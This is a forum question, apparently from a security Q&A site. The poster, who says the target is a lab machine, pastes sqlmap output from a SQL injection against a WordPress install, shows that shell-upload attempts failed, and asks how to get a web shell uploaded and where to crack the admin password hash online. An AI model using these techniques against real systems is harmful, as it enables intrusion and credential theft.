I found an SQL injection vulnerability in a Wordpress installation inside one of my lab machines and I am trying to leverage it to upload a shell.
I can get the admin hash but it seems that it is quite complex as JTR and HASHCAT are taking long times without luck.
Here is the basic output from SQLmap:
web server operating system: Linux Ubuntu xxxxxxxxx web application technology: PHP 5.2.6, Apache 2.2.11 back-end DBMS: MySQL 5 [02:24:38] [INFO] testing if current user is DBA [02:24:38] [INFO] fetching current user current user is DBA: True [02:24:38] [INFO] fetching database names [02:24:38] [INFO] the SQL query used returns 3 entries [02:24:38] [INFO] resumed: "information_schema","information_schema" [02:24:38] [INFO] resumed: "mysql","mysql" [02:24:38] [INFO] resumed: "wordpress","wordpress" available databases : [*] information_schema [*] mysql [*] wordpress
--os-shell option but It seems no write access as I get these errors:
[02:26:36] [WARNING] unable to retrieve automatically any web server path
[02:26:36] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique
[02:26:37] [WARNING] unable to upload the file stager on '/var/www'
[02:26:37] [INFO] trying to upload the file stager on '/var/www' via UNION technique
[02:26:37] [WARNING] expect junk characters inside the file as a leftover from UNION query
[02:26:38] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path
I can get --sql-shell without problem. I tried the steps here (http://evilzone.org/tutorials/upload-shell-with-sql-injection/) to upload a shell but I get the following error
[02:00:16] [WARNING] execution of custom SQL queries is only available when stacked queries are supported
Now, I need a way to upload a shell to the target machine, any thoughts? Also any thoughts where I can crack Wordpress admin password hash online?